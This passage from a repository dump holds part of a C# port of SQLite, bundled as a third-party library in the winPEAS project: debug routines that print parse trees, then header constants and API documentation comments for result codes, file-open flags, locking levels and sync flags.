testing and debugging only. The code ** that follows does not appear in normal builds. ** ** These routines are used to print out the content of all or part of a ** parse structures such as Select or Expr. Such printouts are useful ** for helping to understand what is happening inside the code generator ** during the execution of complex SELECT statements. ** ** These routine are not called anywhere from within the normal ** code base. Then are intended to be called from within the debugger ** or from temporary "printf" statements inserted for debugging. */ void sqlite3PrintExpr( Expr p ) { if ( !ExprHasProperty( p, EP_IntValue ) && p.u.zToken != null ) { sqlite3DebugPrintf( "(%s", p.u.zToken ); } else { sqlite3DebugPrintf( "(%d", p.op ); } if ( p.pLeft != null ) { sqlite3DebugPrintf( " " ); sqlite3PrintExpr( p.pLeft ); } if ( p.pRight != null ) { sqlite3DebugPrintf( " " ); sqlite3PrintExpr( p.pRight ); } sqlite3DebugPrintf( ")" ); } void sqlite3PrintExprList( ExprList pList ) { int i; for ( i = 0 ; i < pList.nExpr ; i++ ) { sqlite3PrintExpr( pList.a[i].pExpr ); if ( i < pList.nExpr - 1 ) { sqlite3DebugPrintf( ", " ); } } } void sqlite3PrintSelect( Select p, int indent ) { sqlite3DebugPrintf( "%*sSELECT(%p) ", indent, "", p ); sqlite3PrintExprList( p.pEList ); sqlite3DebugPrintf( "\n" ); if ( p.pSrc != null ) { string zPrefix; int i; zPrefix = "FROM"; for ( i = 0 ; i < p.pSrc.nSrc ; i++ ) { SrcList_item pItem = p.pSrc.a[i]; sqlite3DebugPrintf( "%*s ", indent + 6, zPrefix ); zPrefix = ""; if ( pItem.pSelect != null ) { sqlite3DebugPrintf( "(\n" ); sqlite3PrintSelect( pItem.pSelect, indent + 10 ); sqlite3DebugPrintf( "%*s)", indent + 8, "" ); } else if ( pItem.zName != null ) { sqlite3DebugPrintf( "%s", pItem.zName ); } if ( pItem.pTab != null ) { sqlite3DebugPrintf( "(table: %s)", pItem.pTab.zName ); } if ( pItem.zAlias != null ) { sqlite3DebugPrintf( " AS %s", pItem.zAlias ); } if ( i < p.pSrc.nSrc - 1 ) { sqlite3DebugPrintf( "," ); } sqlite3DebugPrintf( "\n" ); } } if ( p.pWhere != null ) { sqlite3DebugPrintf( "%*s WHERE ", indent, "" ); sqlite3PrintExpr( p.pWhere ); sqlite3DebugPrintf( "\n" ); } if ( p.pGroupBy != null ) { sqlite3DebugPrintf( "%*s GROUP BY ", indent, "" ); sqlite3PrintExprList( p.pGroupBy ); sqlite3DebugPrintf( "\n" ); } if ( p.pHaving != null ) { sqlite3DebugPrintf( "%*s HAVING ", indent, "" ); sqlite3PrintExpr( p.pHaving ); sqlite3DebugPrintf( "\n" ); } if ( p.pOrderBy != null ) { sqlite3DebugPrintf( "%*s ORDER BY ", indent, "" ); sqlite3PrintExprList( p.pOrderBy ); sqlite3DebugPrintf( "\n" ); } } /* End of the structure debug printing code *****************************************************************************/ #endif // * defined(SQLITE_TEST) || defined(SQLITE_DEBUG) */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqlite3_h.cs ================================================ using u8 = System.Byte; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This header file defines the interface that the SQLite library ** presents to client programs. If a C-function, structure, datatype, ** or constant definition does not appear in this file, then it is ** not a published API of SQLite, is subject to change without ** notice, and should not be referenced by programs that use SQLite. ** ** Some of the definitions that are in this file are marked as ** "experimental". Experimental interfaces are normally new ** features recently added to SQLite. We do not anticipate changes ** to experimental interfaces but reserve to make minor changes if ** experience from use "in the wild" suggest such changes are prudent. ** ** The official C-language API documentation for SQLite is derived ** from comments in this file. This file is the authoritative source ** on how SQLite interfaces are suppose to operate. ** ** The name of this file under configuration management is "sqlite.h.in". ** The makefile makes some minor changes to this file (such as inserting ** the version number) and changes its name to "sqlite3.h" as ** part of the build process. ** ** @(#) $Id: sqlite.h.in,v 1.462 2009/08/06 17:40:46 drh Exp $ ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#ifndef _SQLITE3_H_ //#define _SQLITE3_H_ //#include /* Needed for the definition of va_list */ /* ** Make sure we can call this stuff from C++. */ //#ifdef __cplusplus //extern "C" { //#endif /* ** Add the ability to override 'extern' */ //#ifndef SQLITE_EXTERN //# define SQLITE_EXTERN extern //#endif //#ifndef SQLITE_API //# define SQLITE_API //#endif /* ** These no-op macros are used in front of interfaces to mark those ** interfaces as either deprecated or experimental. New applications ** should not use deprecated intrfaces - they are support for backwards ** compatibility only. Application writers should be aware that ** experimental interfaces are subject to change in point releases. ** ** These macros used to resolve to various kinds of compiler magic that ** would generate warning messages when they were used. But that ** compiler magic ended up generating such a flurry of bug reports ** that we have taken it all out and gone back to using simple ** noop macros. */ //#define SQLITE_DEPRECATED //#define SQLITE_EXPERIMENTAL /* ** Ensure these symbols were not defined by some previous header file. */ //#ifdef SQLITE_VERSION //# undef SQLITE_VERSION //#endif //#ifdef SQLITE_VERSION_NUMBER //# undef SQLITE_VERSION_NUMBER //#endif /* ** CAPI3REF: Compile-Time Library Version Numbers {H10010} ** ** The SQLITE_VERSION and SQLITE_VERSION_NUMBER #defines in ** the sqlite3.h file specify the version of SQLite with which ** that header file is associated. ** ** The "version" of SQLite is a string of the form "X.Y.Z". ** The phrase "alpha" or "beta" might be appended after the Z. ** The X value is major version number always 3 in SQLite3. ** The X value only changes when backwards compatibility is ** broken and we intend to never break backwards compatibility. ** The Y value is the minor version number and only changes when ** there are major feature enhancements that are forwards compatible ** but not backwards compatible. ** The Z value is the release number and is incremented with ** each release but resets back to 0 whenever Y is incremented. ** ** See also: [sqlite3_libversion()] and [sqlite3_libversion_number()]. ** ** Requirements: [H10011] [H10014] */ //#define SQLITE_VERSION "3.6.17" //#define SQLITE_VERSION_NUMBER 3006017 const string SQLITE_VERSION = "3.6.17.C#"; const int SQLITE_VERSION_NUMBER = 300601767; /* ** CAPI3REF: Run-Time Library Version Numbers {H10020} ** KEYWORDS: sqlite3_version ** ** These features provide the same information as the [SQLITE_VERSION] ** and [SQLITE_VERSION_NUMBER] #defines in the header, but are associated ** with the library instead of the header file. Cautious programmers might ** include a check in their application to verify that ** sqlite3_libversion_number() always returns the value ** [SQLITE_VERSION_NUMBER]. ** ** The sqlite3_libversion() function returns the same information as is ** in the sqlite3_version[] string constant. The function is provided ** for use in DLLs since DLL users usually do not have direct access to string ** constants within the DLL. ** ** Requirements: [H10021] [H10022] [H10023] */ //SQLITE_API SQLITE_EXTERN const char sqlite3_version[]; //SQLITE_API const char *sqlite3_libversion(void); //SQLITE_API int sqlite3_libversion_number(void); /* ** CAPI3REF: Test To See If The Library Is Threadsafe {H10100} ** ** SQLite can be compiled with or without mutexes. When ** the [SQLITE_THREADSAFE] C preprocessor macro 1 or 2, mutexes ** are enabled and SQLite is threadsafe. When the ** [SQLITE_THREADSAFE] macro is 0, ** the mutexes are omitted. Without the mutexes, it is not safe ** to use SQLite concurrently from more than one thread. ** ** Enabling mutexes incurs a measurable performance penalty. ** So if speed is of utmost importance, it makes sense to disable ** the mutexes. But for maximum safety, mutexes should be enabled. ** The default behavior is for mutexes to be enabled. ** ** This interface can be used by a program to make sure that the ** version of SQLite that it is linking against was compiled with ** the desired setting of the [SQLITE_THREADSAFE] macro. ** ** This interface only reports on the compile-time mutex setting ** of the [SQLITE_THREADSAFE] flag. If SQLite is compiled with ** SQLITE_THREADSAFE=1 then mutexes are enabled by default but ** can be fully or partially disabled using a call to [sqlite3_config()] ** with the verbs [SQLITE_CONFIG_SINGLETHREAD], [SQLITE_CONFIG_MULTITHREAD], ** or [SQLITE_CONFIG_MUTEX]. The return value of this function shows ** only the default compile-time setting, not any run-time changes ** to that setting. ** ** See the [threading mode] documentation for additional information. ** ** Requirements: [H10101] [H10102] */ //SQLITE_API int sqlite3_threadsafe(void); /* ** CAPI3REF: Database Connection Handle {H12000} ** KEYWORDS: {database connection} {database connections} ** ** Each open SQLite database is represented by a pointer to an instance of ** the opaque structure named "sqlite3". It is useful to think of an sqlite3 ** pointer as an object. The [sqlite3_open()], [sqlite3_open16()], and ** [sqlite3_open_v2()] interfaces are its constructors, and [sqlite3_close()] ** is its destructor. There are many other interfaces (such as ** [sqlite3_prepare_v2()], [sqlite3_create_function()], and ** [sqlite3_busy_timeout()] to name but three) that are methods on an ** sqlite3 object. */ //typedef struct sqlite3 sqlite3; /* ** CAPI3REF: 64-Bit Integer Types {H10200} ** KEYWORDS: sqlite_int64 sqlite_uint64 ** ** Because there is no cross-platform way to specify 64-bit integer types ** SQLite includes typedefs for 64-bit signed and unsigned integers. ** ** The sqlite3_int64 and sqlite3_uint64 are the preferred type definitions. ** The sqlite_int64 and sqlite_uint64 types are supported for backwards ** compatibility only. ** ** Requirements: [H10201] [H10202] */ //#ifdef SQLITE_INT64_TYPE // typedef SQLITE_INT64_TYPE sqlite_int64; // typedef unsigned SQLITE_INT64_TYPE sqlite_uint64; //#elif defined(_MSC_VER) || defined(__BORLANDC__) // typedef __int64 sqlite_int64; // typedef unsigned __int64 sqlite_uint64; //#else // typedef long long int sqlite_int64; // typedef unsigned long long int sqlite_uint64; //#endif //typedef sqlite_int64 sqlite3_int64; //typedef sqlite_uint64 sqlite3_uint64; /* ** If compiling for a processor that lacks floating point support, ** substitute integer for floating-point. */ //#ifdef SQLITE_OMIT_FLOATING_POINT //# define double sqlite3_int64 //#endif /* ** CAPI3REF: Closing A Database Connection {H12010} ** ** This routine is the destructor for the [sqlite3] object. ** ** Applications should [sqlite3_finalize | finalize] all [prepared statements] ** and [sqlite3_blob_close | close] all [BLOB handles] associated with ** the [sqlite3] object prior to attempting to close the object. ** The [sqlite3_next_stmt()] interface can be used to locate all ** [prepared statements] associated with a [database connection] if desired. ** Typical code might look like this: ** **
        ** sqlite3_stmt *pStmt;
        ** while( (pStmt = sqlite3_next_stmt(db, 0))!=0 ){
        **     sqlite3_finalize(pStmt);
        ** }
        ** 
    ** ** If [sqlite3_close()] is invoked while a transaction is open, ** the transaction is automatically rolled back. ** ** The C parameter to [sqlite3_close(C)] must be either a NULL ** pointer or an [sqlite3] object pointer obtained ** from [sqlite3_open()], [sqlite3_open16()], or ** [sqlite3_open_v2()], and not previously closed. ** ** Requirements: ** [H12011] [H12012] [H12013] [H12014] [H12015] [H12019] */ //SQLITE_API int sqlite3_close(sqlite3 *); /* ** The type for a callback function. ** This is legacy and deprecated. It is included for historical ** compatibility and is not documented. */ //typedef int (*sqlite3_callback)(void*,int,char**, char**); /* ** CAPI3REF: One-Step Query Execution Interface {H12100} ** ** The sqlite3_exec() interface is a convenient way of running one or more ** SQL statements without having to write a lot of C code. The UTF-8 encoded ** SQL statements are passed in as the second parameter to sqlite3_exec(). ** The statements are evaluated one by one until either an error or ** an interrupt is encountered, or until they are all done. The 3rd parameter ** is an optional callback that is invoked once for each row of any query ** results produced by the SQL statements. The 5th parameter tells where ** to write any error messages. ** ** The error message passed back through the 5th parameter is held ** in memory obtained from [sqlite3_malloc()]. To avoid a memory leak, ** the calling application should call [sqlite3_free()] on any error ** message returned through the 5th parameter when it has finished using ** the error message. ** ** If the SQL statement in the 2nd parameter is NULL or an empty string ** or a string containing only whitespace and comments, then no SQL ** statements are evaluated and the database is not changed. ** ** The sqlite3_exec() interface is implemented in terms of ** [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()]. ** The sqlite3_exec() routine does nothing to the database that cannot be done ** by [sqlite3_prepare_v2()], [sqlite3_step()], and [sqlite3_finalize()]. ** ** The first parameter to [sqlite3_exec()] must be an valid and open ** [database connection]. ** ** The database connection must not be closed while ** [sqlite3_exec()] is running. ** ** The calling function should use [sqlite3_free()] to free ** the memory that *errmsg is left pointing at once the error ** message is no longer needed. ** ** The SQL statement text in the 2nd parameter to [sqlite3_exec()] ** must remain unchanged while [sqlite3_exec()] is running. ** ** Requirements: ** [H12101] [H12102] [H12104] [H12105] [H12107] [H12110] [H12113] [H12116] ** [H12119] [H12122] [H12125] [H12131] [H12134] [H12137] [H12138] */ //SQLITE_API int sqlite3_exec( //// sqlite3*, /* An open database */ // const char *sql, /* SQL to be evaluated */ // int (*callback)(void*,int,char**,char**), /* Callback function */ // void *, /* 1st argument to callback */ // char **errmsg /* Error msg written here */ //); /* ** CAPI3REF: Result Codes {H10210} ** KEYWORDS: SQLITE_OK {error code} {error codes} ** KEYWORDS: {result code} {result codes} ** ** Many SQLite functions return an integer result code from the set shown ** here in order to indicates success or failure. ** ** New error codes may be added in future versions of SQLite. ** ** See also: [SQLITE_IOERR_READ | extended result codes] */ //#define SQLITE_OK 0 /* Successful result */ ///* beginning-of-error-codes */ //#define SQLITE_ERROR 1 /* SQL error or missing database */ //#define SQLITE_INTERNAL 2 /* Internal logic error in SQLite */ //#define SQLITE_PERM 3 /* Access permission denied */ //#define SQLITE_ABORT 4 /* Callback routine requested an abort */ //#define SQLITE_BUSY 5 /* The database file is locked */ //#define SQLITE_LOCKED 6 /* A table in the database is locked */ //#define SQLITE_NOMEM 7 /* A malloc() failed */ //#define SQLITE_READONLY 8 /* Attempt to write a readonly database */ //#define SQLITE_INTERRUPT 9 /* Operation terminated by sqlite3_interrupt()*/ //#define SQLITE_IOERR 10 /* Some kind of disk I/O error occurred */ //#define SQLITE_CORRUPT 11 /* The database disk image is malformed */ //#define SQLITE_NOTFOUND 12 /* NOT USED. Table or record not found */ //#define SQLITE_FULL 13 /* Insertion failed because database is full */ //#define SQLITE_CANTOPEN 14 /* Unable to open the database file */ //#define SQLITE_PROTOCOL 15 /* NOT USED. Database lock protocol error */ //#define SQLITE_EMPTY 16 /* Database is empty */ //#define SQLITE_SCHEMA 17 /* The database schema changed */ //#define SQLITE_TOOBIG 18 /* String or BLOB exceeds size limit */ //#define SQLITE_CONSTRAINT 19 /* Abort due to constraint violation */ //#define SQLITE_MISMATCH 20 /* Data type mismatch */ //#define SQLITE_MISUSE 21 /* Library used incorrectly */ //#define SQLITE_NOLFS 22 /* Uses OS features not supported on host */ //#define SQLITE_AUTH 23 /* Authorization denied */ //#define SQLITE_FORMAT 24 /* Auxiliary database format error */ //#define SQLITE_RANGE 25 /* 2nd parameter to sqlite3_bind out of range */ //#define SQLITE_NOTADB 26 /* File opened that is not a database file */ //#define SQLITE_ROW 100 /* sqlite3_step() has another row ready */ //#define SQLITE_DONE 101 /* sqlite3_step() has finished executing */ public const int SQLITE_OK = 0;/* Successful result */ public const int SQLITE_ERROR = 1;/* SQL error or missing database */ public const int SQLITE_INTERNAL = 2;/* Internal logic error in SQLite */ public const int SQLITE_PERM = 3;/* Access permission denied */ public const int SQLITE_ABORT = 4;/* Callback routine requested an abort */ public const int SQLITE_BUSY = 5;/* The database file is locked */ public const int SQLITE_LOCKED = 6;/* A table in the database is locked */ public const int SQLITE_NOMEM = 7;/* A malloc() failed */ public const int SQLITE_READONLY = 8;/* Attempt to write a readonly database */ public const int SQLITE_INTERRUPT = 9;/* Operation terminated by sqlite3_interrupt()*/ public const int SQLITE_IOERR = 10;/* Some kind of disk I/O error occurred */ public const int SQLITE_CORRUPT = 11;/* The database disk image is malformed */ public const int SQLITE_NOTFOUND = 12;/* NOT USED. Table or record not found */ public const int SQLITE_FULL = 13;/* Insertion failed because database is full */ public const int SQLITE_CANTOPEN = 14;/* Unable to open the database file */ public const int SQLITE_PROTOCOL = 15;/* NOT USED. Database lock protocol error */ public const int SQLITE_EMPTY = 16;/* Database is empty */ public const int SQLITE_SCHEMA = 17;/* The database schema changed */ public const int SQLITE_TOOBIG = 18;/* String or BLOB exceeds size limit */ public const int SQLITE_CONSTRAINT = 19;/* Abort due to constraint violation */ public const int SQLITE_MISMATCH = 20;/* Data type mismatch */ public const int SQLITE_MISUSE = 21;/* Library used incorrectly */ public const int SQLITE_NOLFS = 22;/* Uses OS features not supported on host */ public const int SQLITE_AUTH = 23;/* Authorization denied */ public const int SQLITE_FORMAT = 24;/* Auxiliary database format error */ public const int SQLITE_RANGE = 25;/* 2nd parameter to sqlite3_bind out of range */ public const int SQLITE_NOTADB = 26;/* File opened that is not a database file */ public const int SQLITE_ROW = 100;/* sqlite3_step() has another row ready */ public const int SQLITE_DONE = 101;/* sqlite3_step() has finished executing */ /* end-of-error-codes */ /* ** CAPI3REF: Extended Result Codes {H10220} ** KEYWORDS: {extended error code} {extended error codes} ** KEYWORDS: {extended result code} {extended result codes} ** ** In its default configuration, SQLite API routines return one of 26 integer ** [SQLITE_OK | result codes]. However, experience has shown that many of ** these result codes are too coarse-grained. They do not provide as ** much information about problems as programmers might like. In an effort to ** address this, newer versions of SQLite (version 3.3.8 and later) include ** support for additional result codes that provide more detailed information ** about errors. The extended result codes are enabled or disabled ** on a per database connection basis using the ** [sqlite3_extended_result_codes()] API. ** ** Some of the available extended result codes are listed here. ** One may expect the number of extended result codes will be expand ** over time. Software that uses extended result codes should expect ** to see new result codes in future releases of SQLite. ** ** The SQLITE_OK result code will never be extended. It will always ** be exactly zero. */ //#define SQLITE_IOERR_READ (SQLITE_IOERR | (1<<8)) //#define SQLITE_IOERR_SHORT_READ (SQLITE_IOERR | (2<<8)) //#define SQLITE_IOERR_WRITE (SQLITE_IOERR | (3<<8)) //#define SQLITE_IOERR_FSYNC (SQLITE_IOERR | (4<<8)) //#define SQLITE_IOERR_DIR_FSYNC (SQLITE_IOERR | (5<<8)) //#define SQLITE_IOERR_TRUNCATE (SQLITE_IOERR | (6<<8)) //#define SQLITE_IOERR_FSTAT (SQLITE_IOERR | (7<<8)) //#define SQLITE_IOERR_UNLOCK (SQLITE_IOERR | (8<<8)) //#define SQLITE_IOERR_RDLOCK (SQLITE_IOERR | (9<<8)) //#define SQLITE_IOERR_DELETE (SQLITE_IOERR | (10<<8)) //#define SQLITE_IOERR_BLOCKED (SQLITE_IOERR | (11<<8)) //#define SQLITE_IOERR_NOMEM (SQLITE_IOERR | (12<<8)) //#define SQLITE_IOERR_ACCESS (SQLITE_IOERR | (13<<8)) //#define SQLITE_IOERR_CHECKRESERVEDLOCK (SQLITE_IOERR | (14<<8)) //#define SQLITE_IOERR_LOCK (SQLITE_IOERR | (15<<8)) //#define SQLITE_IOERR_CLOSE (SQLITE_IOERR | (16<<8)) //#define SQLITE_IOERR_DIR_CLOSE (SQLITE_IOERR | (17<<8)) //#define SQLITE_LOCKED_SHAREDCACHE (SQLITE_LOCKED | (1<<8) ) const int SQLITE_IOERR_READ = ( SQLITE_IOERR | ( 1 << 8 ) ); const int SQLITE_IOERR_SHORT_READ = ( SQLITE_IOERR | ( 2 << 8 ) ); const int SQLITE_IOERR_WRITE = ( SQLITE_IOERR | ( 3 << 8 ) ); const int SQLITE_IOERR_FSYNC = ( SQLITE_IOERR | ( 4 << 8 ) ); const int SQLITE_IOERR_DIR_FSYNC = ( SQLITE_IOERR | ( 5 << 8 ) ); const int SQLITE_IOERR_TRUNCATE = ( SQLITE_IOERR | ( 6 << 8 ) ); const int SQLITE_IOERR_FSTAT = ( SQLITE_IOERR | ( 7 << 8 ) ); const int SQLITE_IOERR_UNLOCK = ( SQLITE_IOERR | ( 8 << 8 ) ); const int SQLITE_IOERR_RDLOCK = ( SQLITE_IOERR | ( 9 << 8 ) ); const int SQLITE_IOERR_DELETE = ( SQLITE_IOERR | ( 10 << 8 ) ); const int SQLITE_IOERR_BLOCKED = ( SQLITE_IOERR | ( 11 << 8 ) ); const int SQLITE_IOERR_NOMEM = ( SQLITE_IOERR | ( 12 << 8 ) ); const int SQLITE_IOERR_ACCESS = ( SQLITE_IOERR | ( 13 << 8 ) ); const int SQLITE_IOERR_CHECKRESERVEDLOCK = ( SQLITE_IOERR | ( 14 << 8 ) ); const int SQLITE_IOERR_LOCK = ( SQLITE_IOERR | ( 15 << 8 ) ); const int SQLITE_IOERR_CLOSE = ( SQLITE_IOERR | ( 16 << 8 ) ); const int SQLITE_IOERR_DIR_CLOSE = ( SQLITE_IOERR | ( 17 << 8 ) ); const int SQLITE_LOCKED_SHAREDCACHE = ( SQLITE_LOCKED | ( 1 << 8 ) ); /* ** CAPI3REF: Flags For File Open Operations {H10230} ** ** These bit values are intended for use in the ** 3rd parameter to the [sqlite3_open_v2()] interface and ** in the 4th parameter to the xOpen method of the ** [sqlite3_vfs] object. */ //#define SQLITE_OPEN_READONLY 0x00000001 /* Ok for sqlite3_open_v2() */ //#define SQLITE_OPEN_READWRITE 0x00000002 /* Ok for sqlite3_open_v2() */ //#define SQLITE_OPEN_CREATE 0x00000004 /* Ok for sqlite3_open_v2() */ //#define SQLITE_OPEN_DELETEONCLOSE 0x00000008 /* VFS only */ //#define SQLITE_OPEN_EXCLUSIVE 0x00000010 /* VFS only */ //#define SQLITE_OPEN_MAIN_DB 0x00000100 /* VFS only */ //#define SQLITE_OPEN_TEMP_DB 0x00000200 /* VFS only */ //#define SQLITE_OPEN_TRANSIENT_DB 0x00000400 /* VFS only */ //#define SQLITE_OPEN_MAIN_JOURNAL 0x00000800 /* VFS only */ //#define SQLITE_OPEN_TEMP_JOURNAL 0x00001000 /* VFS only */ //#define SQLITE_OPEN_SUBJOURNAL 0x00002000 /* VFS only */ //#define SQLITE_OPEN_MASTER_JOURNAL 0x00004000 /* VFS only */ //#define SQLITE_OPEN_NOMUTEX 0x00008000 /* Ok for sqlite3_open_v2() */ //#define SQLITE_OPEN_FULLMUTEX 0x00010000 /* Ok for sqlite3_open_v2() */ public const int SQLITE_OPEN_READONLY = 0x00000001; public const int SQLITE_OPEN_READWRITE = 0x00000002; public const int SQLITE_OPEN_CREATE = 0x00000004; public const int SQLITE_OPEN_DELETEONCLOSE = 0x00000008; public const int SQLITE_OPEN_EXCLUSIVE = 0x00000010; public const int SQLITE_OPEN_MAIN_DB = 0x00000100; public const int SQLITE_OPEN_TEMP_DB = 0x00000200; public const int SQLITE_OPEN_TRANSIENT_DB = 0x00000400; public const int SQLITE_OPEN_MAIN_JOURNAL = 0x00000800; public const int SQLITE_OPEN_TEMP_JOURNAL = 0x00001000; public const int SQLITE_OPEN_SUBJOURNAL = 0x00002000; public const int SQLITE_OPEN_MASTER_JOURNAL = 0x00004000; public const int SQLITE_OPEN_NOMUTEX = 0x00008000; public const int SQLITE_OPEN_FULLMUTEX = 0x00010000; /* ** CAPI3REF: Device Characteristics {H10240} ** ** The xDeviceCapabilities method of the [sqlite3_io_methods] ** object returns an integer which is a vector of the these ** bit values expressing I/O characteristics of the mass storage ** device that holds the file that the [sqlite3_io_methods] ** refers to. ** ** The SQLITE_IOCAP_ATOMIC property means that all writes of ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values ** mean that writes of blocks that are nnn bytes in size and ** are aligned to an address which is an integer multiple of ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means ** that when data is appended to a file, the data is appended ** first then the size of the file is extended, never the other ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that ** information is written to disk in the same order as calls ** to xWrite(). */ //#define SQLITE_IOCAP_ATOMIC 0x00000001 //#define SQLITE_IOCAP_ATOMIC512 0x00000002 //#define SQLITE_IOCAP_ATOMIC1K 0x00000004 //#define SQLITE_IOCAP_ATOMIC2K 0x00000008 //#define SQLITE_IOCAP_ATOMIC4K 0x00000010 //#define SQLITE_IOCAP_ATOMIC8K 0x00000020 //#define SQLITE_IOCAP_ATOMIC16K 0x00000040 //#define SQLITE_IOCAP_ATOMIC32K 0x00000080 //#define SQLITE_IOCAP_ATOMIC64K 0x00000100 //#define SQLITE_IOCAP_SAFE_APPEND 0x00000200 //#define SQLITE_IOCAP_SEQUENTIAL 0x00000400 const int SQLITE_IOCAP_ATOMIC = 0x00000001; const int SQLITE_IOCAP_ATOMIC512 = 0x00000002; const int SQLITE_IOCAP_ATOMIC1K = 0x00000004; const int SQLITE_IOCAP_ATOMIC2K = 0x00000008; const int SQLITE_IOCAP_ATOMIC4K = 0x00000010; const int SQLITE_IOCAP_ATOMIC8K = 0x00000020; const int SQLITE_IOCAP_ATOMIC16K = 0x00000040; const int SQLITE_IOCAP_ATOMIC32K = 0x00000080; const int SQLITE_IOCAP_ATOMIC64K = 0x00000100; const int SQLITE_IOCAP_SAFE_APPEND = 0x00000200; const int SQLITE_IOCAP_SEQUENTIAL = 0x00000400; /* ** CAPI3REF: File Locking Levels {H10250} ** ** SQLite uses one of these integer values as the second ** argument to calls it makes to the xLock() and xUnlock() methods ** of an [sqlite3_io_methods] object. */ //#define SQLITE_LOCK_NONE 0 //#define SQLITE_LOCK_SHARED 1 //#define SQLITE_LOCK_RESERVED 2 //#define SQLITE_LOCK_PENDING 3 //#define SQLITE_LOCK_EXCLUSIVE 4 const int SQLITE_LOCK_NONE = 0; const int SQLITE_LOCK_SHARED = 1; const int SQLITE_LOCK_RESERVED = 2; const int SQLITE_LOCK_PENDING = 3; const int SQLITE_LOCK_EXCLUSIVE = 4; /* ** CAPI3REF: Synchronization Type Flags {H10260} ** ** When SQLite invokes the xSync() method of an ** [sqlite3_io_methods] object it uses a combination of ** these integer values as the second argument. ** ** When the SQLITE_SYNC_DATAONLY flag is used, it means that the ** sync operation only needs to flush data to mass storage. Inode ** information need not be flushed. If the lower four bits of the flag ** equal SQLITE_SYNC_NORMAL, that means to use normal fsync() semantics. ** If the lower four bits equal SQLITE_SYNC_FULL, that means ** to use Mac OS X style fullsync instead of fsync(). */ //#define SQLITE_SYNC_NORMAL 0x00002 //#define SQLITE_SYNC_FULL 0x00003 //#define SQLITE_SYNC_DATAONLY 0x00010 const int SQLITE_SYNC_NORMAL = 0x00002; const int SQLITE_SYNC_FULL = 0x00003; const int SQLITE_SYNC_DATAONLY = 0x00010; /* ** CAPI3REF: OS Interface Open File Handle {H11110} ** ** An [sqlite3_file] object represents an open file in the OS ** interface layer. Individual OS interface implementations will ** want to subclass this object by appending additional fields ** for their own use. The pMethods entry is a pointer to an ** [sqlite3_io_methods] object that defines methods for performing ** I/O operations on the open file. */ //typedef struct sqlite3_file sqlite3_file; //struct sqlite3_file { // const struct sqlite3_io_methods *pMethods; /* Methods for an open file */ //}; public partial class sqlite3_file { public sqlite3_io_methods pMethods;/* Must be first */ } /* ** CAPI3REF: OS Interface File Virtual Methods Object {H11120} ** ** Every file opened by the [sqlite3_vfs] xOpen method populates an ** [sqlite3_file] object (or, more commonly, a subclass of the ** [sqlite3_file] object) with a pointer to an instance of this object. ** This object defines the methods used to perform various operations ** against the open file represented by the [sqlite3_file] object. ** ** If the xOpen method sets the sqlite3_file.pMethods element ** to a non-NULL pointer, then the sqlite3_io_methods.xClose method ** may be invoked even if the xOpen reported that it failed. The ** only way to prevent a call to xClose following a failed xOpen ** is for the xOpen to set the sqlite3_file.pMethods element to NULL. ** ** The flags argument to xSync may be one of [SQLITE_SYNC_NORMAL] or ** [SQLITE_SYNC_FULL]. The first choice is the normal fsync(). ** The second choice is a Mac OS X style fullsync. The [SQLITE_SYNC_DATAONLY] ** flag may be ORed in to indicate that only the data of the file ** and not its inode needs to be synced. ** ** The integer values to xLock() and xUnlock() are one of **
      **
    • [SQLITE_LOCK_NONE], **
    • [SQLITE_LOCK_SHARED], **
    • [SQLITE_LOCK_RESERVED], **
    • [SQLITE_LOCK_PENDING], or **
    • [SQLITE_LOCK_EXCLUSIVE]. **
    ** xLock() increases the lock. xUnlock() decreases the lock. ** The xCheckReservedLock() method checks whether any database connection, ** either in this process or in some other process, is holding a RESERVED, ** PENDING, or EXCLUSIVE lock on the file. It returns true ** if such a lock exists and false otherwise. ** ** The xFileControl() method is a generic interface that allows custom ** VFS implementations to directly control an open file using the ** [sqlite3_file_control()] interface. The second "op" argument is an ** integer opcode. The third argument is a generic pointer intended to ** point to a structure that may contain arguments or space in which to ** write return values. Potential uses for xFileControl() might be ** functions to enable blocking locks with timeouts, to change the ** locking strategy (for example to use dot-file locks), to inquire ** about the status of a lock, or to break stale locks. The SQLite ** core reserves all opcodes less than 100 for its own use. ** A [SQLITE_FCNTL_LOCKSTATE | list of opcodes] less than 100 is available. ** Applications that define a custom xFileControl method should use opcodes ** greater than 100 to avoid conflicts. ** ** The xSectorSize() method returns the sector size of the ** device that underlies the file. The sector size is the ** minimum write that can be performed without disturbing ** other bytes in the file. The xDeviceCharacteristics() ** method returns a bit vector describing behaviors of the ** underlying device: ** **
      **
    • [SQLITE_IOCAP_ATOMIC] **
    • [SQLITE_IOCAP_ATOMIC512] **
    • [SQLITE_IOCAP_ATOMIC1K] **
    • [SQLITE_IOCAP_ATOMIC2K] **
    • [SQLITE_IOCAP_ATOMIC4K] **
    • [SQLITE_IOCAP_ATOMIC8K] **
    • [SQLITE_IOCAP_ATOMIC16K] **
    • [SQLITE_IOCAP_ATOMIC32K] **
    • [SQLITE_IOCAP_ATOMIC64K] **
    • [SQLITE_IOCAP_SAFE_APPEND] **
    • [SQLITE_IOCAP_SEQUENTIAL] **
